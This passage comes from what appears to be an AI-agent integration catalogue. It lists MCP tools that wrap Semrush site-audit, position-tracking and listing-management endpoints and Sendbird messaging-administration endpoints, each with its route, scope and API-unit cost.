position and share of voice. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}/top-competitors. Scopes: api. semrush_get_apis_v4_map_rank_tracker_v0_limits (read) — Map Rank Tracker: Get the current usage and available limits for Map Rank Tracker campaigns and Map Rank Tracker credits for given user account. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/map-rank-tracker/v0/limits. Scopes: api. semrush_get_apis_v4_projects_v1_projects (read) — Projects: This request returns a list of projects you have access to. Use the scope parameter to narrow results by ownership or sharing scope. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/projects/v1/projects. Scopes: api. semrush_get_apis_v4_projects_v1_projects_by_project_id (read) — Projects: This request returns the full details of a project you have access to. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/projects/v1/projects/{project_id}. Scopes: api. semrush_get_management_v1_projects_by_campaignid_competitors (read) — Position Tracking: This request returns the competitor domains attached to an existing tracking campaign. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/management/v1/projects/{campaignID}/competitors. Scopes: api. semrush_get_management_v1_projects_by_projectid_tracking_campaigns (read) — Position Tracking: This request returns a list of campaigns in the specified project and basic information about each of them. To get a list of all your tracking campaigns in the Semrush web interface, refer to the Position Tracking main page. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/management/v1/projects/{projectID}/tracking/campaigns. Scopes: api. semrush_get_position_tracking_management_v1_info_locations (read) — Position Tracking: This request lets you search for locations by ID, type (region, city, country, ZIP code, and more), or name. If used without parameters, the request returns top locations ordered by location weight. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/position-tracking/management/v1/info/locations. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_history (read) — Site Audit: This request lets you see audit results for a selected period. The request price increases if you get several snapshots in one request. For example, if I run the audit five times and then run the request, it’ll cost you 50,000 API units. Price: 10000 API units per request (or 10000 by one snapshot). Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/history. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_info (read) — Site Audit: This request provides you with a summary of the most recent audit. It includes information on the number of issues found, such as Errors, Warnings, and Notices, as well as the number of checks that passed or failed. Also, it shows the number of pages crawled and the pages yet to be crawled, along with the date of the last audit. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/info. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_meta_issues (read) — Site Audit: This request lets you get a detailed explanation of an issue and its cause. That helps you understand why an issue could be harmful to a website and how it can be fixed. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/meta/issues. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_page_by_pageid (read) — Site Audit: This request lets you get information about the page and the list of its issues. Price: 1000 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/page/{pageId}. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_page_list (read) — Site Audit: This request helps you get an ID of a crawled page. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/page/list. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_snapshot (read) — Site Audit: This request provides you with an overview of an audit, including the website’s score, issues, and the number of performed checks. Price: 10000 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/snapshot. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_snapshot_by_snapshotid_issue_by_issueid (read) — Site Audit: This report provides a description of an issue, when that issue was detected, and the URLs of affected pages. Fetches data for the last snapshot. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/snapshot/{snapshotId}/issue/{issueId}. Scopes: api. semrush_get_reports_v1_projects_by_id_siteaudit_snapshots (read) — Site Audit: This request lets you get a list of previous audit IDs along with their completion dates. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/snapshots. Scopes: api. semrush_patch_apis_v4_local_v1_locations_by_location_id (write) — Listing Management: Update a single location by its ID. The Update Location endpoint follows PATCH standards. You only need to provide the fields you wish to modify. You must provide a non-empty update_mask parameter. To update a field with a specific value, include the field in both the update_mask and the request body. If you want to verify the request without applying changes, use the validate_only parameter. When set to true, the API validates the data but doesn’t update it. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. PATCH /api/v1/semrush/apis/v4/local/v1/locations/{location_id}. Scopes: api. semrush_patch_apis_v4_local_v1_locations_reviews_comments_by_comment_id (write) — Review Management: Updates the text of an existing comment on a review. The supports_comment_edit field on the Review object indicates whether editing comments is supported by its publisher. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. UNVERIFIED ROUTE: measured 2026-09-13, this documented path answers Semrush's pre-authentication 404 (no route) with and without a key, so expect 404 Not Found until Semrush mounts it. PATCH /api/v1/semrush/apis/v4/local/v1/locations/reviews/comments/{comment_id}. Scopes: api. semrush_patch_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid (write) — Map Rank Tracker: Update an existing Map Rank Tracker campaign. This is a PATCH request, meaning it performs a partial update. Only the fields explicitly included in the request payload will be modified. All other fields will remain unchanged. If you need to update the tracking area, there are two ways to reconfigure it. Note that gridSettings and points are mutually exclusive. Providing both in the same request will result in an error. If neither gridSettings nor points is provided, the current campaign’s tracking area will remain completely unchanged. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. PATCH /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}. Scopes: api. semrush_patch_apis_v4_projects_v1_projects_by_project_id (write) — Projects: This request renames a project. Only fields present in the request body are updated. Omitted fields remain unchanged. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. PATCH /api/v1/semrush/apis/v4/projects/v1/projects/{project_id}. Scopes: api. semrush_post_apis_v4_local_v1_listings_by_listing_id_disable (write) — Listing Management: Disables a location listing. To be disabled, a listing must be controllable and have one of the following statuses: CONNECTED, SUBMITTED, or UNAVAILABLE. You can check if a listing is controllable by using the Get Listings endpoint and looking at the controllable field in the response. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. POST /api/v1/semrush/apis/v4/local/v1/listings/{listing_id}/disable. Scopes: api. semrush_post_apis_v4_local_v1_listings_by_listing_id_enable (write) — Listing Management: Enables a location listing. To be enabled, a listing must be controllable and have a status of DISCONNECTED. You can check if a listing is controllable by using the Get Listings endpoint and looking at the controllable field in the response. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. POST /api/v1/semrush/apis/v4/local/v1/listings/{listing_id}/enable. Scopes: api. semrush_post_apis_v4_local_v1_locations (write) — Listing Management: Create a location. To use this endpoint, you need a pre-paid Local Pro limit. If a location’s status results in FAILED, your Local Pro limit will be released. A 200 OK response does not guarantee that the location will be successfully created. To confirm successful creation, ensure that the Get Location endpoint returns a COMPLETED status for the location. In some cases, this process can take up to 7 days. To verify a request without applying changes, use the validate_only parameter. When set to true, the API validates the data but doesn’t update it nor consume your Local Pro limit. The Create Location endpoint does not support concurrent requests. If you attempt to initiate a new request while another is still processing, the API will return a 429 Too Many Requests error. Make sure that locations are created sequentially. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. POST /api/v1/semrush/apis/v4/local/v1/locations. Scopes: api. semrush_post_apis_v4_local_v1_locations_by_location_id_images (write) — Listing Management: Adds an image to a location. If the location is frozen or the user doesn’t have permission, an error is returned. You can check if a location is frozen by checking the frozen field in the Location object. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. POST /api/v1/semrush/apis/v4/local/v1/locations/{location_id}/images. Scopes: api. semrush_post_apis_v4_local_v1_locations_reviews_by_review_id_comments (write) — Review Management: Adds a comment to a review, either as a top-level reply or as a response to an existing comment. The supports_reply field on the Review object indicates whether replying to a specific review is supported by its publisher. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. UNVERIFIED ROUTE: measured 2026-09-13, this documented path answers Semrush's pre-authentication 404 (no route) with and without a key, so expect 404 Not Found until Semrush mounts it. POST /api/v1/semrush/apis/v4/local/v1/locations/reviews/{review_id}/comments. Scopes: api. semrush_post_apis_v4_map_rank_tracker_v0_campaigns (write) — Map Rank Tracker: Create a new Map Rank Tracker campaign to track a business’s visibility across a specific geographic area. There are three ways to configure the tracking area. Note that gridSettings and points are mutually exclusive. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. POST /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns. Scopes: api. semrush_post_apis_v4_projects_v1_projects (write) — Projects: This request creates a new project for a domain you want to track. Returns the created project with its assigned ID. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. POST /api/v1/semrush/apis/v4/projects/v1/projects. Scopes: api. semrush_post_management_v1_projects_by_id_siteaudit_enable (write) — Site Audit: This request lets you enable the Site Audit tool for a project to schedule audits, include or exclude pages from the crawl, and set the number of pages to crawl. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. POST /api/v1/semrush/management/v1/projects/{ID}/siteaudit/enable. Scopes: api. semrush_post_management_v1_projects_by_id_siteaudit_save (write) — Site Audit: This request lets you edit an existing Site Audit campaign to reschedule audits and change the scope of pages to crawl and the number of pages. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. POST /api/v1/semrush/management/v1/projects/{ID}/siteaudit/save. Scopes: api. semrush_post_management_v1_projects_by_projectid_tracking_enable (write) — Position Tracking: This request creates a Position Tracking campaign in a project. The newly created campaign won’t have any keywords. To add keywords, use the Add keywords to an existing tracking campaign request. When creating a campaign in a project with one or more tracking campaigns, make sure that a combination of its location and device is different from those in the existing campaigns. You can use the campaign_id value from the response as {campaignID} in other requests to the Position Tracking API. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. POST /api/v1/semrush/management/v1/projects/{projectID}/tracking/enable. Scopes: api. semrush_post_reports_v1_projects_by_id_siteaudit_launch (write) — Site Audit: This request lets you run an audit. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. POST /api/v1/semrush/reports/v1/projects/{ID}/siteaudit/launch. Scopes: api. semrush_put_apis_v4_local_v1_images_by_image_id (write) — Listing Management: Updates the metadata of an existing location image, such as its caption. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. PUT /api/v1/semrush/apis/v4/local/v1/images/{image_id}. Scopes: api. semrush_put_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid_collect (write) — Map Rank Tracker: This method consumes Map Rank Tracker credits equal to the number of points in the grid, multiplied by the number of keywords in the Map Rank Tracker campaign. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. PUT /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}/collect. Scopes: api. semrush_put_management_v1_projects_by_campaignid_competitors (write) — Position Tracking: This request lets you add up to 20 competitor domains to an existing tracking campaign. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. PUT /api/v1/semrush/management/v1/projects/{campaignID}/competitors. Scopes: api. semrush_put_management_v1_projects_by_campaignid_keywords (write) — Position Tracking: This request lets you add keywords to track to an existing tracking campaign and group them with tags. Price: 100 API units per keyword added. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. PUT /api/v1/semrush/management/v1/projects/{campaignID}/keywords. Scopes: api. semrush_put_management_v1_projects_by_campaignid_tags (write) — Position Tracking: This request lets you assign up to five tags to each of your tracked keywords. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. PUT /api/v1/semrush/management/v1/projects/{campaignID}/tags. Scopes: api. semrush_put_management_v1_projects_by_campaignid_tracking_notifications (write) — Position Tracking: This request lets you enable the delivery of weekly emails with tracking campaign statistics. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. PUT /api/v1/semrush/management/v1/projects/{campaignID}/tracking/notifications. Scopes: api. ================================================================================ ## Sendbird URL: https://www.agenticfabriq.com/integrations/sendbird Section: Integrated Tools Sendbird — 228 MCP tools Provider key: sendbird. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. sendbird_delete_v3_applications_push_apns_cert_by_provider_id (write, destructive) — Deletes a specific APNs certificate. via DELETE /v3/applications/push/apns/cert/{provider_id} DELETE /api/v1/sendbird/v3/applications/push/apns/cert/{provider_id}. Scopes: api. sendbird_delete_v3_applications_push_by_push_type_by_provider_id (write, destructive) — Removes a specific push configuration from an application. The type of a push configuration is either `fcm`, `huawei`, or `apns`. via DELETE /v3/applications/push/{push_type}/{provider_id} DELETE /api/v1/sendbird/v3/applications/push/{push_type}/{provider_id}. Scopes: api. sendbird_delete_v3_applications_settings_by_channel_custom_type_by_custom_type_ban (write, destructive) — Unban specified users in channels with a custom channel type at once. via DELETE /v3/applications/settings_by_channel_custom_type/{custom_type}/ban DELETE /api/v1/sendbird/v3/applications/settings_by_channel_custom_type/{custom_type}/ban. Scopes: api. sendbird_delete_v3_applications_settings_by_channel_custom_type_by_custom_type_mute (write, destructive) — Unmute specified users in channels with a custom channel type at once. via DELETE /v3/applications/settings_by_channel_custom_type/{custom_type}/mute DELETE /api/v1/sendbird/v3/applications/settings_by_channel_custom_type/{custom_type}/mute. Scopes: api. sendbird_delete_v3_applications_settings_ip_whitelist (write, destructive) — Deletes allowed IPs from the whitelist by specifying their IP addresses or ranges. You can configure the IP whitelist under Settings > Security > Allowed IPs in the Sendbird Dashboard. via DELETE /v3/applications/settings/ip_whitelist DELETE /api/v1/sendbird/v3/applications/settings/ip_whitelist. Scopes: api. sendbird_delete_v3_bots_by_bot_userid (write, destructive) — Deletes a bot from an application. via DELETE /v3/bots/{bot_userid} DELETE /api/v1/sendbird/v3/bots/{bot_userid}. Scopes: api. sendbird_delete_v3_bots_by_bot_userid_channels (write, destructive) — Makes a bot leave one or more group channels. via DELETE /v3/bots/{bot_userid}/channels DELETE /api/v1/sendbird/v3/bots/{bot_userid}/channels. Scopes: api. sendbird_delete_v3_bots_by_bot_userid_channels_by_channel_url (write, destructive) — Makes a bot leave one or more group channels. via DELETE /v3/bots/{bot_userid}/channels/{channel_url} DELETE /api/v1/sendbird/v3/bots/{bot_userid}/channels/{channel_url}. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_messages_by_message_id (write, destructive) — Deletes a message from a channel. via DELETE /v3/{channel_type}/{channel_url}/messages/{message_id} DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_messages_by_message_id_pin (write, destructive) — Unpin a message from its channel. via DELETE /v3/{channel_type}/{channel_url}/messages/{message_id}/pin DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/pin. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_messages_by_message_id_reactions (write, destructive) — Removes a specific reaction from a message. Note: Currently, this action is only available in group channels. via DELETE /v3/{channel_type}/{channel_url}/messages/{message_id}/reactions DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/reactions. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_messages_by_message_id_sorted_metaarray (write, destructive) — Removes specific items from a message by their keys. via DELETE /v3/{channel_type}/{channel_url}/messages/{message_id}/sorted_metaarray DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/sorted_metaarray. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_metacounter (write, destructive) — Deletes a channel metacounter's item that is stored in a channel. via DELETE /v3/{channel_type}/{channel_url}/metacounter DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/metacounter. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_metacounter_by_key (write, destructive) — Deletes a channel metacounter's item that is stored in a channel. via DELETE /v3/{channel_type}/{channel_url}/metacounter/{key} DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/metacounter/{key}. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_metadata (write, destructive) — Deletes a channel metadata's one or all items that are stored in a channel. via DELETE /v3/{channel_type}/{channel_url}/metadata DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/metadata. Scopes: api. sendbird_delete_v3_by_channel_type_by_channel_url_metadata_by_key (write, destructive) — Deletes a channel metadata's one or all items that are stored in a channel. via DELETE /v3/{channel_type}/{channel_url}/metadata/{key} DELETE /api/v1/sendbird/v3/{channel_type}/{channel_url}/metadata/{key}. Scopes: api. sendbird_delete_v3_emoji_categories_by_emoji_category_id (write, destructive) — Deletes an emoji category with the specified ID. via DELETE /v3/emoji_categories/{emoji_category_id} DELETE /api/v1/sendbird/v3/emoji_categories/{emoji_category_id}. Scopes: api. sendbird_delete_v3_emojis_by_emoji_key (write, destructive) — Deletes an emoji from the application. via DELETE /v3/emojis/{emoji_key} DELETE /api/v1/sendbird/v3/emojis/{emoji_key}. Scopes: api. sendbird_delete_v3_group_channels_by_channel_url (write, destructive) — Deletes a group channel. via DELETE /v3/group_channels/{channel_url} DELETE /api/v1/sendbird/v3/group_channels/{channel_url}. Scopes: api. sendbird_delete_v3_group_channels_by_channel_url_ban_by_banned_user_id (write, destructive) — Unbans a user from a group channel. via DELETE /v3/group_channels/{channel_url}/ban/{banned_user_id} DELETE /api/v1/sendbird/v3/group_channels/{channel_url}/ban/{banned_user_id}. Scopes: api. sendbird_delete_v3_group_channels_by_channel_url_hide (write, destructive) — Makes a hidden or archived channel reappear in the channel list of either a specific user or entire channel members. via DELETE /v3/group_channels/{channel_url}/hide DELETE /api/v1/sendbird/v3/group_channels/{channel_url}/hide. Scopes: api. sendbird_delete_v3_group_channels_by_channel_url_mute_by_muted_user_id (write, destructive) — Unmutes a user within a group channel. via DELETE /v3/group_channels/{channel_url}/mute/{muted_user_id} DELETE /api/v1/sendbird/v3/group_channels/{channel_url}/mute/{muted_user_id}. Scopes: api. sendbird_delete_v3_group_channels_by_channel_url_operators (write, destructive) — Cancels the registration of operators from a group channel but leave them as members. via DELETE /v3/group_channels/{channel_url}/operators DELETE /api/v1/sendbird/v3/group_channels/{channel_url}/operators. Scopes: api. sendbird_delete_v3_group_channels_by_channel_url_scheduled_messages_by_scheduled_message_id (write, destructive) — This action cancels a message that a user has scheduled to send at a later time. via DELETE /v3/group_channels/{channel_url}/scheduled_messages/{scheduled_message_id} DELETE /api/v1/sendbird/v3/group_channels/{channel_url}/scheduled_messages/{scheduled_message_id}. Scopes: api. sendbird_delete_v3_group_channels_by_channel_url_typing (write, destructive) — You can stop showing a typing indicator using this API. To signal that a user is no longer typing, you can let the indicator disappear when the user sends a message or completely deletes the message text. via DELETE /v3/group_channels/{channel_url}/typing DELETE /api/v1/sendbird/v3/group_channels/{channel_url}/typing. Scopes: api. sendbird_delete_v3_open_channels_by_channel_url (write, destructive) — Deletes an open channel. via DELETE /v3/open_channels/{channel_url} DELETE /api/v1/sendbird/v3/open_channels/{channel_url}. Scopes: api. sendbird_delete_v3_open_channels_by_channel_url_ban_by_banned_user_id (write, destructive) — Unbans a user from an open channel. via DELETE /v3/open_channels/{channel_url}/ban/{banned_user_id} DELETE /api/v1/sendbird/v3/open_channels/{channel_url}/ban/{banned_user_id}. Scopes: api. sendbird_delete_v3_open_channels_by_channel_url_mute_by_muted_user_id (write, destructive) — Unmutes a user from an open channel. via DELETE /v3/open_channels/{channel_url}/mute/{muted_user_id} DELETE /api/v1/sendbird/v3/open_channels/{channel_url}/mute/{muted_user_id}. Scopes: api. sendbird_delete_v3_open_channels_by_channel_url_operators (write, destructive) — Cancels the registration of operators from an open channel but leave them as participants. via DELETE /v3/open_channels/{channel_url}/operators DELETE /api/v1/sendbird/v3/open_channels/{channel_url}/operators. Scopes: api. sendbird_delete_v3_polls_by_poll_id (write, destructive) — This action deletes a poll. Once a poll is deleted, you can't retrieve its data. via DELETE /v3/polls/{poll_id} DELETE /api/v1/sendbird/v3/polls/{poll_id}. Scopes: api. sendbird_delete_v3_polls_by_poll_id_options_by_option_id (write, destructive) — This action deletes an option from a poll. via DELETE /v3/polls/{poll_id}/options/{option_id} DELETE /api/v1/sendbird/v3/polls/{poll_id}/options/{option_id}. Scopes: api. sendbird_delete_v3_privacy_gdpr_by_request_id (write, destructive) — Cancels the registration of a specific GDPR request. via DELETE /v3/privacy/gdpr/{request_id} DELETE /api/v1/sendbird/v3/privacy/gdpr/{request_id}. Scopes: api. sendbird_delete_v3_push_device_tokens_by_token_type_by_token (write, destructive) — Removes a registration or device token from a user who owns it. You can pass one of two values in `token_type`: `gcm`, `huawei`, or `apns`, depending on which push service you are using. via DELETE /v3/push/device_tokens/{token_type}/{token} DELETE /api/v1/sendbird/v3/push/device_tokens/{token_type}/{token}. Scopes: api. sendbird_delete_v3_users_by_user_id (write, destructive) — Deletes a user. via DELETE /v3/users/{user_id} DELETE /api/v1/sendbird/v3/users/{user_id}. Scopes: api. sendbird_delete_v3_users_by_user_id_block_by_target_id (write, destructive) — Unblocks the user. via DELETE /v3/users/{user_id}/block/{target_id} DELETE /api/v1/sendbird/v3/users/{user_id}/block/{target_id}. Scopes: api. sendbird_delete_v3_users_by_user_id_metadata (write, destructive) — Deletes a user metadata's one or all items that are stored in a user. via DELETE /v3/users/{user_id}/metadata DELETE /api/v1/sendbird/v3/users/{user_id}/metadata. Scopes: api. sendbird_delete_v3_users_by_user_id_metadata_by_key (write, destructive) — Deletes a user metadata's one or all items that are stored in a user. via DELETE /v3/users/{user_id}/metadata/{key} DELETE /api/v1/sendbird/v3/users/{user_id}/metadata/{key}. Scopes: api. sendbird_delete_v3_users_by_user_id_push (write, destructive) — Removes a specific user's one or more FCM registration tokens, HMS device tokens, or APNs device tokens. via DELETE /v3/users/{user_id}/push DELETE /api/v1/sendbird/v3/users/{user_id}/push. Scopes: api. sendbird_delete_v3_users_by_user_id_push_by_token_type_by_token (write, destructive) — Removes a specific user's one or more FCM registration tokens, HMS device tokens, or APNs device tokens. via DELETE /v3/users/{user_id}/push/{token_type}/{token} DELETE /api/v1/sendbird/v3/users/{user_id}/push/{token_type}/{token}. Scopes: api. sendbird_delete_v3_users_by_user_id_push_preference (write, destructive) — Resets a user's push preferences. After performing this action, `do_not_disturb` and `snooze_enabled` are set to false. The values of the parameters associated with the time frame are all set to 0. `timezone` is reset to `UTC`. `push_sound` is reset to `default`. via DELETE /v3/users/{user_id}/push_preference DELETE /api/v1/sendbird/v3/users/{user_id}/push_preference. Scopes: api. sendbird_get_v3_announcement_group (read) — Retrieves a list of announcement groups. via GET /v3/announcement_group GET /api/v1/sendbird/v3/announcement_group. Scopes: api. sendbird_get_v3_announcement_open_rate_by_group_by_announcement_group (read) — Retrieves the detailed open rate information of an announcement group. via GET /v3/announcement_open_rate_by_group/{announcement_group} GET /api/v1/sendbird/v3/announcement_open_rate_by_group/{announcement_group}. Scopes: api. sendbird_get_v3_announcement_open_rate_by_unique_id (read) — Retrieves the detailed open rate information of an announcement. via GET /v3/announcement_open_rate/{unique_id} GET /api/v1/sendbird/v3/announcement_open_rate/{unique_id}. Scopes: api. sendbird_get_v3_announcement_open_status_by_unique_id (read) — Retrieves the detailed open status information of a specific announcement. via GET /v3/announcement_open_status/{unique_id} GET /api/v1/sendbird/v3/announcement_open_status/{unique_id}. Scopes: api. sendbird_get_v3_announcement_stats_daily (read) — Retrieves the daily, weekly or monthly statistics of an announcement or an announcement group. via GET /v3/announcement_stats/daily GET /api/v1/sendbird/v3/announcement_stats/daily. Scopes: api. sendbird_get_v3_announcement_stats_monthly (read) — Retrieves the daily, weekly or monthly statistics of an announcement or an announcement group. via GET /v3/announcement_stats/monthly GET /api/v1/sendbird/v3/announcement_stats/monthly. Scopes: api. sendbird_get_v3_announcement_stats_weekly (read) — Retrieves the daily, weekly or monthly statistics of an announcement or an announcement group. via GET /v3/announcement_stats/weekly GET /api/v1/sendbird/v3/announcement_stats/weekly. Scopes: api. sendbird_get_v3_announcements (read) — Retrieves a list of announcements. via GET /v3/announcements GET /api/v1/sendbird/v3/announcements. Scopes: api. sendbird_get_v3_announcements_by_unique_id (read) — Retrieves information on a specific announcement. via GET /v3/announcements/{unique_id} GET /api/v1/sendbird/v3/announcements/{unique_id}. Scopes: api. sendbird_get_v3_applications_ccu (read) — Retrieves the number of devices and opened browser tabs which are currently connected to Sendbird server. via GET /v3/applications/ccu GET /api/v1/sendbird/v3/applications/ccu. Scopes: api. sendbird_get_v3_applications_dau (read) — Retrieves the number of daily active users of the application (DAU). via GET /v3/applications/dau GET /api/v1/sendbird/v3/applications/dau. Scopes: api. sendbird_get_v3_applications_default_channel_invitation_preference (read) — Retrieves the default channel invitation preference of an application. Note: Using the view channel invitation preference action, you can retrieve the value of a specific user's channel invitation preference, which can be set individually by user. via GET /v3/applications/default_channel_invitation_preference GET /api/v1/sendbird/v3/applications/default_channel_invitation_preference. Scopes: api. sendbird_get_v3_applications_mau (read) — Retrieves the number of monthly active users of the application (MAU). via GET /v3/applications/mau GET /api/v1/sendbird/v3/applications/mau. Scopes: api. sendbird_get_v3_applications_peak_connections (read) — Retrieves the number of concurrently connected devices to Sendbird server during the requested time period. via GET /v3/applications/peak_connections GET /api/v1/sendbird/v3/applications/peak_connections. Scopes: api. sendbird_get_v3_applications_push_by_push_type (read) — Retrieves a list of an application's registered push configurations. via GET /v3/applications/push/{push_type} GET /api/v1/sendbird/v3/applications/push/{push_type}. Scopes: api. sendbird_get_v3_applications_push_by_push_type_by_provider_id (read) — Retrieves a specific push configuration of an application. The type of a push configuration is either `fcm`, `huawei`, or `apns`. via GET /v3/applications/push/{push_type}/{provider_id} GET /api/v1/sendbird/v3/applications/push/{push_type}/{provider_id}. Scopes: api. sendbird_get_v3_applications_push_message_templates (read) — Retrieves a list of push notification content templates of an application. via GET /v3/applications/push/message_templates GET /api/v1/sendbird/v3/applications/push/message_templates. Scopes: api. sendbird_get_v3_applications_push_message_templates_by_template_name (read) — Retrieves information on a specific push notification content templates of an application. The name of a content template is either `default` or `alternative`. via GET /v3/applications/push/message_templates/{template_name} GET /api/v1/sendbird/v3/applications/push/message_templates/{template_name}. Scopes: api. sendbird_get_v3_applications_push_settings (read) — Shows whether the push notifications feature is turned on for an application. via GET /v3/applications/push/settings GET /api/v1/sendbird/v3/applications/push/settings. Scopes: api. sendbird_get_v3_applications_settings_auto_event_message (read) — Retrieves a list of auto event messages that are sent in a specified application and indicates which ones are in use. Auto event messages are Admin messages that are automatically generated when a specific event occurs. via GET /v3/applications/settings/auto_event_message GET /api/v1/sendbird/v3/applications/settings/auto_event_message. Scopes: api. sendbird_get_v3_applications_settings_by_channel_custom_type_by_custom_type_ban (read) — Retrieves a list of users banned from channels with the specified custom channel type. via GET /v3/applications/settings_by_channel_custom_type/{custom_type}/ban GET /api/v1/sendbird/v3/applications/settings_by_channel_custom_type/{custom_type}/ban. Scopes: api. sendbird_get_v3_applications_settings_by_channel_custom_type_by_custom_type_mute (read) — Retrieves a list of the muted users in channels with a custom channel type. via GET /v3/applications/settings_by_channel_custom_type/{custom_type}/mute GET /api/v1/sendbird/v3/applications/settings_by_channel_custom_type/{custom_type}/mute. Scopes: api. sendbird_get_v3_applications_settings_ip_whitelist (read) — Retrieves a list of all the IP ranges and addresses that have access to your Sendbird application. This list is called an IP whitelist and its addresses are granted API access when the IP whitelist API enables CIDR notations. If you specify which IP addresses or ranges to include in the whitelist, any unlisted foreign IP addresses will be denied access. If you don't specify any IP address or range to include in the whitelist, all IP addresses will be granted API access. You can configure the IP whitelist under Settings > Security > Allowed IPs in the Sendbird Dashboard. via GET /v3/applications/settings/ip_whitelist GET /api/v1/sendbird/v3/applications/settings/ip_whitelist. Scopes: api. sendbird_get_v3_applications_settings_webhook (read) — Retrieves a list of events for your webhook server to receive payloads for. via GET /v3/applications/settings/webhook GET /api/v1/sendbird/v3/applications/settings/webhook. Scopes: api. sendbird_get_v3_bots (read) — Retrieves a list of all bots within an application. via GET /v3/bots GET /api/v1/sendbird/v3/bots. Scopes: api. sendbird_get_v3_bots_by_bot_userid (read) — Retrieves information on a bot. via GET /v3/bots/{bot_userid} GET /api/v1/sendbird/v3/bots/{bot_userid}. Scopes: api. 